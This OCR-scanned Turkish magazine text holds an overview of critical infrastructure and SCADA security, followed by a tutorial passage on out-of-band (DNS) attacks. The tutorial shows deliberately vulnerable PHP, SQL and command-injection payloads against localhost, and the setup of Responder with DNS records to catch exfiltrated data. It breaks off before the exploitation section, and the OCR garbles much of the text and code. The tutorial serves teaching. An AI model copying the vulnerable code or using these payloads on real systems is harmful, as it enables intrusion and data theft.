“Kritik altyap1” terimi, ilk defa Ekim, 1997 tarihli “Amerika
Birlesik Devletleri Baskanlik Komisyonunun Kritik Altyapila-
rin Korunmas: Hakkinda Raporunda kullanilmistir. Toplum
ve devlet diizeninin saglikli bicimde isletilebilmesi i¢in gerek-
li, birbirleriyle bag1 olan sistemler ve bu sistemlerin istenilen
bigimde ¢alismasini saglayan altyapilar biitiiniine denir.

Ulkemizde ise 2012 yilinda siber giivenliginin saglanmasi
konusunda “Siber Giivenlik Kurulu” olusturulmus ve bu ku-
rulun ilk toplantisinda “Ulusal Siber Giivenlik Stratejisi ve

2013-2014 Eylem Plan1” kabul edilmistir. Eylem planinin 5
numarali maddesinde Siber Giivenlik Kurulunca iilkemizin
kritik altyapilar1 bilgi giivenligi kapsaminda ilk etapta asagi-
daki sekilde belirlenmistir:

. Elektronik Haberlesme,
. Enerji,

. Bankacilik ve Finans,

. Kritik Kamu Hizmetleri,

. Ulagtirma ve

A U R W N -

. Su Yonetimi

Listelenen kritik altyapilarin bir kismi1 genel ve bilinen bilgi
teknolojilerini kullanirken, diger bir kismi ise Enddistriyel
Kontrol Sistemleri (EKS) olarak adlandirilan 6zel bilisim sis-
temleri tarafindan izlenmekte ya da yonetilmektedir. Endiist-
riyel Kontrol Sistemleri, topolojilerine ve i¢erdikleri bilesenle-
re gore SCADA ve DCS olarak ikiye ayrilmaktadir.

SCADA ve DCS Nedir?

Ingilizce "Supervisory Control and Data Acquisition” kelime-
lerinin ilk harflerinin okunmasi ile olusturulan SCADA keli-
mesi, Tiirk¢e'ye "Merkezi Denetleme Kontrol ve Veri Toplama
Sistemi" olarak da ¢evrilebilir. Kapsamli ve entegre bir veri ta-
banli kontrol ve izleme sistemi olan SCADA ile bir tesise veya
isletmeye ait tiim ekipmanlarin kontrolii, gézetlenmesi ve so-
nuglarinin raporlanmasi saglanabilir. Temel olarak SCADA
yazilimindan izleme, kontrol, veri toplama, verilerin kayd: ve
saklanmasi islevlerini gerceklestirmesi beklenmektedir. SCA-
DA sistemlerinin yaygin olarak kullanildig: yerler sunlardir:

Su aritma ve terfi merkezleri,
Petrol ve gaz boru hatlari,
Gaz ¢evrim santralleri,
Barajlar,

Elektrik iletim ve dagitimi sahalari,

AR S o

Riizgar Enerji Santralleri,




7. lletisim sistemleri,
8. Metro istasyonlari,
9. Havaalanlari,

10. Gemiler ve limanlar,
11. Uzay istasyonlar1 ve

12. Niikleer enerji santralleridir.

DCS yani Distributed Control System ise Dagitik Kontrol Sis-
temi olarak anilmakta olup, genel islev ve kullanim alanlar1
bakimindan SCADA ile benzerlik gostermektedir. Farklar1 ise;

1. DCS proses odakli iken SCADA veri toplamay1 hedefler.

2. DCS kendi lokal aginda ¢alisirken, SCADAN1n herhangi
bir ag kisitlamas: yoktur.

3. DSC islemleri diizenli olarak kontrol eder ve islem
parametrelerini veritabanina kayit etmez. SCADA ise
diizenli veri kontrolii yapmadan veri tabanina kaydettigi
degisen verilere gore islem yapar.

4. DSC prosesleri kapali dongii kontrolii ile yapilir. SCADA
ile boyle bir kontrol yoktur.

Kritik Altyapi Giivenligi Neden Onemlidir?

Bilgi teknolojilerine degerli ve korunmasi gereken varlik bil-
gi iken kritik altyapilarda process (siire¢)’tir. Yani sistemlerin
mevcut ¢alisir vaziyetlerinin muhafazasi bir tesisin bir numa-
rali gorevidir ¢iinki bu stiregte yagsanacak bir aksaklik (mesela
enerji santralindeki sorun nedeniyle sehir elektriginin kesil-
mesi), sadece bu santrali degil, tiim {ilke insanlarini etkiler ve
yasamu fel¢ eder. Bu sebepten, soz konusu zarar, herhangi bir
para birimiyle ifade edilemeyecek kadar yiiksektir.

En Cok Bilinen Kritik Altyapi Saldirilari

Stuxnet / IRAN

Stuxnet, Haziran 2010da farkedilen ve Iran’in Natanz niikleer
gelistirme tesisine saldirmak icin gelistirilmis olan bir siber si-
lahin adidir. Bu saldiri, resmi olarak hicbir devlet tarafindan
iistlenilmemistir. S6z konusu silah (Stuxnet), iran Natanzdaki
uranyum zenginlestirme tesisinde, uranyumu zenginlestiren
santrifiijlerin doniis hizlarini etkileyerek kullanim émiirlerini
azaltmak suretiyle zenginlestirme siirecine zarar vermeyi he-
deflemistir. Bunu yaparken operatorler tarafindan durumun
fark edilmesini engellemek i¢cin SCADA ekranlarinda, daha
onceden almis oldugu 21 saniyelik ekran gériintiisiinii defa-
larca tekrar tekrar gostermis ve boylece kontrol mithendisle-
rini yaniltmay1 bagsarmistir. Olgiilebilen sonug ise 800 milyon
dolarlik maddi zarar, 984 santriftijiin devre dis1 birakilmasidir.

Ukrayna

Tarihte ilk kez 23 Aralik 2015’te bir iilkenin kritik altyapisina
(enerji) biiyilik bir siber saldir1 yapildi. Bu saldir1 neticesinde
bolgede yasayan insanlar ciddi gekilde etkilendi ve elektriksiz
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kald1. S6z konusu olaydan etkilenen kisi sayis1 yiizbinlerle ifa-
de edilmekte ve yaklasik alt1 saatlik bir elektrik kesintisinden
bahsedilmektedir. Stuxnet olayindan farkli olarak birden fazla
kurum hedeflenmis ve yine birden fazla saldir1 metodu tercih
edilmistir. Bu metodlar bilindigi kadariyla Malware (BlackE-
nergy), Phishing, KillDisk, GCat backdoor ekran goriintiisii
alma ve Keylogger uygulamalaridir.

Tiirkiye'de Kritik Altyapi Giivenligi

Kritik altyap: kavraminin gelisimi, Tiirkiyede de diger iilkelere
paralellik gosterir sekildedir. Ulkemizdeki EKS’lerde eskiden
operatorler vasitasiyla elle yiiriitiilen islemler, artik SCADA
sistemleri ile kontrol edilebilir ve yonetilebilir hale gelmistir.
Bu sekilde yonetilen endiistriyel alanlarin baginda da fabrika-
lar, enerji iiretilen GES, JES ve termik santraller, metro istas-
yonlari, elektrik salt sahalar1 ve dogal gaz ¢evrim santralleri
gelmektedir.

Bununla birlikte EKS giivenliginde maalesef heniiz yeterli bil-
gi birikimine ulasmis durumda degiliz. Buna 6rnek olarak da
isletme sahiplerince SCADA giivenligi denilince yalnizca su
iki husustan bahsedilmesini gosterebiliriz.

1. Tesisimizde ates duvari (Firewall) var:

SCADAYlarda bulunan ates duvarlar: (firewall) 6ncelikli gii-
venlik katmani olarak bilinmektedir. Ancak bu dogru bir
yaklasim degildir. Ciinkii EKS’lerde siire¢ (process) kesintisiz
olarak devam ettirilmesi gereken anahtar kavram iken ates
duvarlari ise siirece miidahale ederek kesintilere sebep olabil-
mektedir. Bu kesintiler telafisi ¢ok zor olan zararlara neden
olabildiginden, SCADAlarin ates duvarlar: bizzat isletme sa-
hiplerinin onayi ile kapali tutulabilmektedir.

2. Tesisimizin internet baglantis1 yok:

SCADA giivenligi konusundaki en biiyiik yanilg, sistemin in-
ternet baglantisinin bulunmamasi nedeniyle giivenli oldugu
diistincesidir. Bu 6nerme iki sekilde gecerliligini yitirmektedir.
[lki egitim ile ilgilidir. OT giivenligi konusunda bilgi sahibi,
st seviyedeki personel tarafindan kurallara riayet edilirken,
alt seviyedeki personel tarafindan sistemdeki bilgisayarlara in-
ternet baglantis1 saglanmakta veya harici taginabilir bellekler
takilabilmektedir. Tkincisi ise sisteme yapilabilecek saldirilarin
her zaman internet kanaliyla gelmedigi gercegidir. Unutma-
mak gerekir ki tarihteki en 6nemli kritik altyapi saldirisy, hic-
bir sekilde internet baglantis1 bulunmayan, yukarida bahsedi-
len Iran’in Natanz niikleer gelistirme tesisine yapilan Stuxnet
saldirisidir.

Kritik Altyapi Giivenligi Nasil Saglanir?

Bilgi teknolojileri giivenligi i¢in alinan tedbirler kritik altyapi-
lar icin de gegerlidir (giiglii parola kullanimu, yetkisiz kullani-
cilarin sisteme erisiminin engellenmesi vb.). Ancak buradaki
anahtar kavram altyapida kullanilan iletisim protokolleridir.
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Internet ortaminda kullanilan HTTP, SSL, SMTP gibi bilinen
iletisim protokollerin yerini Modbus, DNP3, Profibus gibi
az bilinen protokoller alir. Bununla birlikte kullanilan ileti-
sim protokolleri cihazdan cihaza, endiistriden endiistriye de
farklilik gosterir. Mesela Siemens marka PLC'ler S7TCOMM
protokoliinii kullanirken, Allen Bradley marka PLCler ge-
nellikle Controlnet ve Devicenet protokollerini kullanirlar.
Diger taraftan petrol ve gaz endiistrisinde Ethernet/IP, GE
SRTP, MODBUS, OPC DA kullanilirken, enerji kuruluglarin-
da DNP3, ICCP TASE.2, IEC60870-104, IEC61850, OPC vb.
protokolleri kullanilir. Dogal olarak piyasada bulunan mevcut
firewall, antiviriis, IDS ve IPS yazilimlar1 endiistriyel kontrol
sistemleri i¢in yetersiz kalmakta, ag trafigindeki saldir1 ve zafi-
yetleri yakalayamamaktadir. Ag trafiginin izlenmesi ve giiphe-
li davraniglarin yakalanabilmesi i¢in mutlaka EKS ve SCADA
givenligi alaninda hizmet veren siber giivenlik firmalar: ile
calisilmalidir ki son zamanlarda bu alanda tiim diinyada ken-
dinden soz ettirmeye baglayan yerli firmalarin da ¢aligmaya
basladigini biliyoruz.

Kritik altyapr giivenligini saglamanin bir yolu da bu tesisler-
de kullanilan cihazlar1 ¢ok iyi tanimaktir. Yine bilgi tekno-
lojileri ile kargilagtirmali olarak belirtmek gerekirse normal
bir internet aginin temel bilesenleri bilgisayarlar, modemler,
router’lar iken, endiistriyel kontrol sistemlerinin temel bile-
senleri PLC’ler, RTU’lar, IED’ler ve HMT'lardir. Dogal olarak
bu cihazlarin ¢aliyma mantig1 tam olarak anlagilmali ve var
olan giivenlik zafiyetleri kullanilan protokoller de degerlendi-
rilerek giderilmelidir.

Son Sozler

Kritik altyapilar, hizmetlerin giivenli ve ihtiya¢ duyuldugun-
da kesintisiz bicimde sunulmasinda 6nemli gorevler istlenir.
Bireyden 6te bir toplumu ilgilendiren enerji, su, gida, saglik,
tinans, haberlesme ve giivenlik gibi temel hizmetlerin giivenli,
kesintisiz ve bozulmadan sunulabilmesi gerekmektedir. Siber
saldirilar nedeniyle bu hizmet kategorilerinde meydana gele-
cek aksamalar kabul edilemez etkiler dogurabilir ve toplum
huzur ve giivenini ciddi bir sekilde bozabilir.

Ozellikle enerji sektoriinde, alinacak tiim giivenlik tedbirleri-
ne ragmen saldir1 veya bagka bir sebeple kesintiler olabilecegi
degerlendirilerek ihtiyaglarin alternatif kaynaklardan saglana-
bilmesi i¢in gerekli planlamalar yapilmasi, kritik altyap: gii-
venligini bir Gst seviyeye tastyacak bir tedbirdir.

Kaynaklar:
o Kritik Enerji Altyapilarinin Korunmasi ve Siber Giivenlik
- Zithre AYDIN

https://www.academia.edu/24839120/Siber_Giivenlik
Kritik Enerji Altyapilari Ziihre Aydin

o Kritik Bilgi Sistem Altyapilar1 i¢in Asgari Giivenlik On-
lemleri Dokiimani - TUBITAK
http://bit.do/eXNRR

o What is OT Security?
https://www.forcepoint.com/tr/cyber-edu/ot-operation-
al-technology-security

» Vast Differences Between IT and OT Cyber Security
https://www.novotek.com/en/solutions/cyber-securi-
ty-for-production-and-process-networks/vast-differ-
ences-between-it-and-ot-cyber-security

o Stuxnet ve Uluslararasi Hukuk: Bir siber saldirinin anato-
misi
https://siberbulten.com/makale-analiz/stuxnet-ve-ulus-
lararasi-hukuk-bir-siber-saldirinin-anatomisi/

o BTK - Siber Guvenlik Kurulu
https://www.btk.gov.tr/siber-guvenlik-kurulu

« Siber Saldirilarin Kritik Altyapilar Uzerindeki Etkileri -
Ender Sahinaslan, Onder Sahinaslan, Selguk Selimli
https://ab.org.tr/ab13/kitap/sahinaslan sahinaslan AB13.
pdf
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Out-of-band
Ataklar

iken dostum ve Arka Kaprnin gizli kahramani $ahin, Whatsapp’tan bana bu sayida ne yazacagimi sordu. Siz Sahin

H erkese merhaba! Tasindig1 evde 1 yildan fazla kalamama hastalig1 olan ben, yine bir ev tasima merasiminin ortasinda

gibi yapmayin, WhatsApp kullanmayin, kullandirtmayin. Giivenlik ve gizlilik kayginiz var ise Signal yok ise Telegram
kullanin. Ha keza “tirtin” olarak Telegram da Signal de BENCE WhatsApp'tan daha iyi.

Hemen ardindan her zamanki umarsiz tavrimi
takinip, o igren¢ mesajlasma uygulamasinin
¢ok berbat calisan web arayiiziinii kapatip yeni
bir sekme a¢tim ve YouTubea girdim. (You-
Tube deyince akliniza “¢oplik” geliyor olabi-
lir ama unutmayn ki YouTube ¢ok devasa bir
mecra. Icerisinde her ilgi alanina ait envai ce-
sit video var. Sizin davraniglariniza gore video
onerdigini goz oniine alir isek YouTubeunu-
zun ¢op olup olmamasi size bagh. En azindan
benim YouTubeumun ¢dp oldugunu diisiin-
miityorum.) Bir yeni bildirimim vardi. Taa 2
sene evvel, sevgili OctoSec ekibinin diizenle-
digi Hacktrick’17de yaptigim “Out-of-band
(DNS) SQL Injection” sunumu igin hazirlayip
YouTubea yiikledigim, o 2 disslike1 veren ar-
kadaslarin acaba neden disslike verdiler diye
diistinedurdugum demo videosuna bir yorum

Highlig

Ahmet Aura

gok mantikh bir teknik ancak bu teknik hakkinda Tiirkge makale

Out-of-band (DNS) SQL Injection Demo

hig bulamadim. Hazir

bu kadar zor bulunan bir konu hakkinda Ar da bir makale yayinlasaniz gok

gelmisti. Ahmet adinda bir arkadas, bu konuda hi¢ Tiirkce kaynak bulamadigini, bu konuyu Arka Kaprda yazmamu istemisti.

Sahin'in mesajindan hemen sonra bunu gérmem garip bir te-
sadif oldu. Madem 6yle bu konuyu yazayim dedim ve yaziyo-
rum. Size bu yazimda “Out-of-band’in konseptini, mantigini
ve birkag gercek 6rnek tizerinden uygulanigini anlatacagim.

Out-of-band Nedir?

Out-of-band'i Tiirkge'ye ¢evirdigimizde "bant dis1” gibi bir
mana geliyor. {1k bakigta anlamsiz gelse de aslinda olayin ge-
nelini ¢ok giizel bir sekilde 6zetliyor. Kelime kelime gidelim.
Oncelikle bant nedir sorusunun yanitini bulmaliyiz. Bant,
bir haberlesme kanalinin kapasitesini ifade eder. Daha tek-

nik konusacak olur isek, siz bir client olarak bir servera bir
HTTP paketini gonderdiginizde client ile server arasinda agi-
lan socket’in, (kanal) kapasitesini ifade eder. Yazinin ilerleyen
noktalarinda daha net anlayacaksiniz.

Gelelim 2. kelimemiz olan “disr’na. Buna kafa yormaya gerek
yok, bildigimiz dis. Her 2 kelimeyi birlestirip anlamlandirdigi-
mizda ise “Ancak client ile server arasinda a¢ilmis olan socke-
tin kapasitesinin disina ¢ikarak gerceklestirilebilinen ataklara
out-of-band atak denir” gibi bir anlam ¢ikartabiliriz.



Daha sade bir dil ile anlatacak olursam, normalde bir atak
esnasinda atak yaptigimiz servera bir HTTP istegi yollariz.
Server istegi alir, yorumlar, bir sonug iretir ve tirettigi ¢iktiy
bize bir HTTP Response paketi olarak yollar. Biz de bize don-
diiriilen bu ¢iktiy1 analiz edip “atak yapilan inputta bir zafiyet
var m1?”, “zafiyet var ise atagimiz bagarili oluyor mu?” gibi so-
rularin yanitlarini bulmaya calisiriz.

Ornegin, XSS atag gerceklestirdigimiz bir inputa “<>” karak-
terlerini gondeririz. Bize dondiirtilen HTTP Response’u ige-
risinde, gonderdigimiz bu 6zel karakterlerin olup olmadigini,
var ise hangi context’te oldugunu kontrol ederiz.

Bazi durumlarda zafiyetin dogas1 geregi atak sonucunda,
server bize anlamlandirabilecegimiz bir ¢ikt1 iiretmez. Yani
yaptigimiz atak basarili da olsa basarisiz da olsa ayni ¢iktiy:
alacagiz. E, bu durumda zafiyetin varligini nasil teyit edece-
giz? Normalde edemiyor olacaktik ancak bu yaziy1 okuduktan
sonra OOB (out-of-band) yontemine basvurarak teyit edebi-
liriz.

OOB, zafiyetin oldugu sunucudan disariya bir sekilde bir istek
gonderebildigimiz atak tipine verilen genel addir. Saldirdig1-

Kor (Blind) Zafiyetler
Blind SQL Injection

Omer Gitak - Out-of-band Ataklar ARKA KAPI

miz sunucunun atak esnasinda bize, bizim anlamlandirabile-
cegimiz tarzda bir response vermiyor ise “Git su IP adresine
veya alan adina bir istek gonder, istek gonderirken yaminda su
su verileri de gotiir.” diyecegiz. Istegin gonderilecegi sunucu,
saldirgan olarak bizim kurdugumuz ve istek gelsin diye bekle-
yen bir sunucu oldugundan saldirdigimiz sunucudaki datalar1
extract (elde) etmis olacagiz.

Zatiyet tipine gore farkli protokollerde istek gondermek zo-
runda kalabiliriz. Kimi zaman FTP kimi zaman HTTP kimi
zaman SMTP istegi gondermek gibi. Bu istekleri gondertirken
bazi limitasyonlara takilabiliriz. Bu limitasyonlar1 asmak ve
protokol bazli problemler yagsamamak i¢in olabildigince DNS
kullanmaya ¢alisacagiz ¢linkii hangi protokolii kullanmak zo-
runda kalirsak kalalim, eger istegi bir alan adina gondermek
istersek alan adinin barindig1 sunucunun IP adresini resolve
edebilmek icin bir DNS query gonderilecektir. Biz de olabil-
digince data extract islemini DNS iizerinden yapacagiz. Daha
dogrusu X bir protokolii kullanirken o protokol DNS resol-
ving yapmak zorunda kaldigindan otomatik olarak DNS ile
isimizi halletmis olacagiz.

Kor (Blind) zafiyetleri anlatmaya bir SQL Injection iizerinden baslayacagim. Bu yaziy1 okuyor iseniz SQL Injection nedir bi-
liyorsunuzdur diye umuyorum. O yilizden SQL nedir bunun injection’n nedir, nasil yapilir gibi konular: atlayip asagida SQL

Injection zafiyeti iceren bir kod blogu koyuyorum.

Ssqgl =
Sresult = S$conn->query ($sql);

while ($row = Sresult->fetch assoc()) {

echo “id: “ . S$Srow[“id”]. ™ - username: “

Yukaridaki kodun calistigini teyit edelim.
@ localhost/oob/?id=1 X -+
R C @ localhost/oob/?id=1

1d: 1 - username: om3rcitak

“SELECT * FROM users WHERE id="”.$ GET[‘id’];

. Srow[“username”];

Goriildiigi tizere id’si 1 olan kullaniciy: veritabanindan gekip ¢ikti olarak bize verdi.

Hafiza tazelemek adina bu koda saldiralim. {lk adim olarak browser'imdan QueryString igerisindeki “id” parametresinin dege-

rinin sonuna tek tirnak isareti koyuyorum.
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@ localhost/oob/?id=1%27 X -+

= C @ localhost/oob/?id=1%27

Fatal error: Uncaught Error: Call to a member function fetch _assoc() on bool in C:'xampp'htdocs'oob'index.php:12

Gorildigi iizere tek tirnak karakterim, SQL sorgusunun s6z dizimini (syntax) bozdugu icin PHP bir hata verdi. Bu hatadan
yola ¢ikarak agagidaki gibi “ or true” gibi ¢ok basit bir payload ile saldirimizi devam ettirdik ve SQL sorgusunu veritabanindaki
tiim kullanicilar gekecek hale gevirip zafiyetin varhigini kanitladik.

@ localhost/oob/?id=1 or true X -

o C @ localhost/oob/?id=1%200r%20true

id: 1 - username: om3rcitakid: 2 - username: sahinsolmazid: 3 - username: elonmuskid: 4 - username: admin

Simdi bu kodu yazan developer’in bu kod tizerinde su 2 degisikligi yaptigini varsayalim:
1. PHP hata gosterimlerini kapat.

2. SQL sorgusunun sonucunu fetch ettikten sonra ekrana basma.

O zaman kodumuz su hale gelecek:

// PHP hata godsterimlerini kapat.

ini set(‘display errors’, ‘0Off’);

error reporting(~E ALL);

$sgql = “SELECT * FROM users WHERE id:".$_GET[‘id’];
Sresult = $conn->query ($sql);

// SQL sorgusunun sonucunu fetch ettikten sonra ekrana basma.

// while ($row = Sresult->fetch assoc()) {
// echo “id: ™ . S$Srow[“1id”]. ™ - username: “ . Srow[“username”];
// )

Goruldugi tizere developer hata mesajlarini kapatti ve kodu echo eden kod blogunu yorum satir1 haline getirdi.

Simdi saldirmay1 deneyelim.

@ localhost/oob/?id=1%27 b4 -

&< 2> C @ localhost/oob/?id=1%27

@ localhost/oob/?id=1 or true X --

< C @ localhost/oob/?id=1%200r%20true
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Az evvel nasil saldirdiysak simdi de bire bir ayni sekilde saldirdik lakin gortaldiagi tizere higbir ¢ikt: alamadik ama yukaridaki
koda bakarak orada SQL Injection zafiyetinin olduguna eminiz.

Bu sekildeki dogrudan bize ¢ikt: vermeyen zafiyetlere kor (blind) zafiyetler diyoruz.

Kor olarak karsimiza gikabilecek zafiyetler SQL Injection ile limitli degildir. Code Evaluation, XSS, Command Injection gibi
diger ytiksek risk iceren zafiyetler de kor olarak karsimiza cikabilir.

Blind Command Injection

Yine SQL Injectionda yaptigimiz gibi 6nce normal (reflected) ardindan blind olarak bu zafiyetin karsimiza nasil ¢ikacaginm
gorelim.

<?php

echo shell exec($ GET[‘cmd’]);

Yukaridaki kodda shell_exec fonksiyonundan dénen deger echo edildigi icin burada reflected bir zafiyet var. Somiirmeye cali-
salim.

@ localhost/oob/?cmd=dir ol
& C @ localhost/oob/?cmd=dir
Volume 1n drive C is OS Volume Serial Number is 479E-F180 Directory of C:'xampp'htdocs\oob 06/01/2019 22:27
.06/01/2019 22:27

.. 06/01/2019 23:06 37 index.php 1 File(s) 37 bytes 2 Dir(s) 89,733,455,872 bytes free

@ localhost/oob/?cmd=more AW X +
< C @ localhost/oob/?cmd=more%20c\Windows\win.ini

; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [ResponseResult] ResultCode=0

Yukaridaki ekran goriintiilerinden de gorebileceginiz gibi gonderdigimiz komutlarin ¢giktilarin1 gorebildik.
Peki developer, shell_exec’ten donen degeri echo etmeseydi ne olurdu?
<?php

shell exec($ GET[‘cmd’]);

Bir de simdi deneyelim.
@ localhost/oob/Zcmd=more ch\wii X -+

&< 2> (C @ localhost/oob/?cmd=more%20c\win.ini

@ localhost/oob/?cmd=more cA\W X +

<« (& ® localhost/oob/?cmd=more%20c:\Windows\win.ini
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Goriildugi tizere tipki Blind SQL Injection gibi orada o zafiyetin oldugunu biliyoruz lakin herhangi bir ¢ikt1 alamiyoruz. Bu da
bu zafiyeti blind yapryor.

Blind Cross-site Scripting
XSS yapist geregi user interaction gerektiren client-side bir zafiyettir. Dogrudan sunucu ile muhattap olmazsiniz. Kurban bir
browser kullaniyor olmak zorundadir ve kurbanin browser’inda bir sekilde JavaScript calistirabiliyor olmaniz gerekiyor.

Reflected’ basit, bir inputtan gonderdiginiz deger dogrudan print ediliyor ise print edilen HTML context'inin disina ¢ikip JS
kodu calistiracak bir payload hazirlayabilirsiniz. Sonra, kurbana bir sekilde o inputa hazirladiginiz payload1 girmesini saglaya-
bilirseniz ki genelde en sevilen input QueryString iginde olandir (input QueryStringde olur ise kullaniciya payload1 bir input
girdirmek zorunda kalmazsiniz. Dogrudan payload girilmis URLin tamamini kurbana génderirsiniz, tikladiginda zaten inputa
payload: gondermis olacaktir.), zafiyeti basariyla somiirebilmis olacaksiniz.

XSS’in blind1 ise stored olmak zorundadir. Ne demistik, eger saldir1 esnasinda ¢ikt1 goremiyor isek blinddir. E, XSSden bahse-
diyoruz, ¢ikt1 olmadan XSS olur mu? Olmaz. XSS’in blind1 ise sizin gonderdiginiz payload’in store edildigi ve sizin yetkinizin/
erisiminizin olmadig1 bagka bir sayfada print edildigi durumlarda ortaya ¢ikan XSS tiiriidiir.

Basitce bir blog yazilimi yazdiginiz1 diisintiin. Admin login olur, blogpost yazar, yayinlar, okurlar blogpost'u okur, yorum yapar-
lar, yorumlar ilk 6nce SADECE admin panelinde, admin onayindan ge¢mek i¢in print edilir. Eger admin yorumu onaylar ise
sitenin arayiiziinde, herhangi bir yetkisi olmayan kullanicilar tarafindan goriilebilir olacaktir.

Admin panelinde yorumlarin print edildigi yerde bir XSS s6z konusu ise buna Blind XSS denir. Zira siz yorum yaptiginizda
sadece “Yorumunuz basariyla gonderildi, admin onayladiktan sonra goriintir hale gelecektir” gibi bir mesaj alacaksiniz. Arka
tarafta adminin yorumlar: gordiigii ekranda bir XSS olup olmadigini, XSS var ise hangi context’te oldugunu géremiyor olacak-
SINIZ.

@

</> Y A Y

webpage

.
“K Injects malicious script

Attacker

Saves Malicious script into
a database
_— .
Allow: /|
User Request data server </
from server
Data Containing the
Malicious script is loaded

Victim </>

Maliscious script may get
executed and call back to the attacaker

Blind olarak karsimiza ¢ikabilecek zafiyetler uzar gider. Blind'in anlagilmast i¢in 3 6rnek yeterli diye diistiniiyorum.

Data Extract icin Uygun Ortamin Hazirlanmasi
Onceki béliimlerde anlattigimizi ozetleyecek olur isek, injection yaptigimiz sunucudan disariya bir istek yollamamiz gerekiyor.
Hangi sistemde digariya nasil ve hangi tipte istek gonderebilecegimizi sonraki boliimde gorecegiz.

Bu béliimde injection yaptigimiz sistemlerden gonderecegimiz isteklerin gidecegi sunucuyu ayarlamamiz gerekiyor. Sizilan
sisteme ve zafiyet tipine gore gonderebilecegimiz istek tipleri degisebiliyor. Kimi zaman HT TP kimi zaman FTP kimi zaman ise
ok farkli protokollerden istek yapiyor olabiliriz. O yilizden kuracagimiz sistem hepsi ile uyumlu olmali.
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Kullanacagimiz tool'un ad1 Responder. SpiderLabs tarafindan yazilmis bu tool aslinda ¢ok basit bir mantik ile ¢alisiyor. Hatta
en ¢ok kullanilan protokollerin nasil ¢alistigini anlamak ve 6grenmek i¢in kendiniz bile yazabilirsiniz. Basit¢e X bir servis, n.
porttan ayaktaymis gibi n. portu dinliyor. Porta bir paket geldiginde ise 2 islem yapiyor;

1. Istegi gorebilmemiz icin logluyor.
2. Istegi gonderen sistem herhangi bir hata vermesin diye sistemin bekledigi gibi servise 6zgii response paketi yolluyor.

Responder aracinin kaynak koduna su GitHub reposundan erisebilirsiniz: https://github.com/SpiderLabs/Responder

Responder1 kurmak i¢in bir sunucuya ihtiyaciniz var. Ben DigitalOceandan “oob-test” adinda $5lik bir sunucu olusturdum.
Gel gelelim Responder’in kurulum ve kullanimina. Kurulumdan énce unutmamaniz gereken 2 nokta var;

1. Sunucuyu olusturduktan sonra Responderdan 6nce Python 2.7 kurmay1 unutmayin. Responder, Python 2.7 olmadan
calismaz.

2. Eger sunucuyu AWS gibi default tiim portlar1 kapali olan bir saglayicidan olusturdu iseniz tiim portlarimizi agmay1
unutmayin.

3. Tim islemleri root yetkisi ile yaptiginiza emin olun.

Sunucuya SSH ile baglanip Python 2.7 kurduktan sonra Responder reposunu bulundugumuz dizine agagidaki komut ile ¢eke-
lim.

git clone https://github.com/SpiderLabs/Responder

:~#| pwd
~# git clone https://github.com/SpiderLabs/Responder

: 874, done.
reused 0 (delta 0), -reused 874
874), 538. {iB .2 B/s, done.

71/571), done.

root 18
ot root un 18
t root Jun 18 .Xauthority
t root 3 \pr 9 3 .bashrc
root 4089 18 : J
root g 18 .cloud-locale-test.skip
ot root 4096 Jun 18 gnupg/
t root 148 Aug 17 f
root 46 18
root 18

LR P el R T =)

NBT-NS, LLMNR & MDNS Responder 2.3

Author: Laurent Gaffie (laurent.gaffi mail.com)
To kill this script hit CRTL-C

root@oob-test:

Stiper! Responder basarili sekilde ¢alistyor. “-I <if> mandatory option is missing” hatasini umursamayin, kendisine dinleyecegi
bir interface vermedigimizden bu hatay: veriyor. Bu adimda sadece ¢alisip caligmadigini test ettik.

Gelelim kendisine gelen paketleri dinler vaziyette ayaga kaldirmaya.
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Responder’ ayaga kaldirirken 2 parametresini set edecegiz.

1. -1 parametresi; hangi network interface’ini dinleyecegini belirttigimiz parametre. Bu parametre zorunlu. “ifconfig” komutu
ile sisteminiz tizerindeki interface’leri listeleyebilir, broadcast interface’inizin adini 6grenebilirsiniz. Benim broadcast
interface’imin adi “eth0”

2. -v parametresi; Verbose parametresi. Uretilen loglar1 canli olarak terminalde gormek i¢in kullanacagim. Kullanim1 zorunlu
degil ama biz anlik olarak loglar1 gorebilelim diye kullanacagiz.

Diger parametreler icin “/Responder --help” komutunu kullanabilirsiniz.

Gerekli parametreler set edilmis sekilde Responder’ ayaga kaldirmak i¢in su komutu kullandim:

./Responder -I eth0 -w

SQL server
FTP serve
IMAP

Always serving EXE
Serving EXE
Serving HTML
Upstream Proxy

-] Poisoning Options:

D B N
Force LM downgrade
Fingerprint hosts

eric Options:

ponder NIC
Responder IP
Challenge set

] Listening for events...

>

Ardindan gordiigiiniiz tizere Responder “Listening for events..” mesaji ile portlar1 dinler vaziyete gegti. Yukaridaki listede de-
fault olarak sadece bazi servislerin portlarinin dinlendigini gorebilirsiniz. Biz sadece DNS ile muhattap olacagimizdan ve DNS
portu olan 53. port da default olarak dinlendiginden bunun i¢in ek bir ayar yapmaya gerek yok.

Browser'imdan sunucumun IP adresini girip erismeye ¢alistigimda Responder’in 80. Porttan HTTP server servis ettigini ve
gelen loglar1 terminale yansittigini gérebiliriz.
[+;_Listening for events...

Sending NTLM authentication request to
| Sending NTLM authentication request to

Son olarak sunucumuzun IP adresini, bize ait olan bir alan adina, alan adinin DNS IP adresi olarak tanimlamamiz gerekiyor ki
domaine gelen bir DNS request’i ¢6zmek i¢in DNS query bizim Responderimiza gelsin.

Ben bu islem icin bu tarz test
islerinde kullandigim omer-
citak.net alan adimi kullana-  ns2 167.99.210.241
cagim. Alan adimin kontrol
paneline girdikten sonra dnce
nsl ve ns2 adinda 2 ana alan
adr sunucu kaydi olusturup EKLE
Responder’in kurulu oldugu sunucunun IP adresini yazip kaydediyorum.

Ana Bilgisayar IP Adresleri

~,

NSt 167.99.210.241

q\b
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Ardindan olusturdugum bu kayitlar: alan adimin Ad Sunuculari sayfasindan segip kaydediyorum.

Ad Sunuculari

Ozellestiriimis ad sunucusu kullanimi

Ad sunucusu
nsl.omercitak.net

ns2.omercitak.net

Bu iglemlerin ardindan http://omercitak.net/ adresini browser tizerinden ziyaret ettiginizde génderdiginiz istegin responder
tizerinde goriintiileniyor olmasi gerekiyor.

NOT: Isteginizin gectigi sunucular DNS Cache yapiyor olabileceginden bu islem sonrast hemen sonug alamayabilirsiniz. Tah-
mini olarak 2-3 saat i¢inde ara ara denemenizi 6neririm.

Bu islem de tamamlandiktan sonra browser'imizdan http://omercitak.net/ adresini ziyaret ettigimizde Responderimiza 1 adet
DNS 1 adet HTTP paketinin geldigini gorebiliriz.

Artik zafiyetleri somiirmeye haziriz!

00B Teknigi ile Zafiyetleri Somiirme

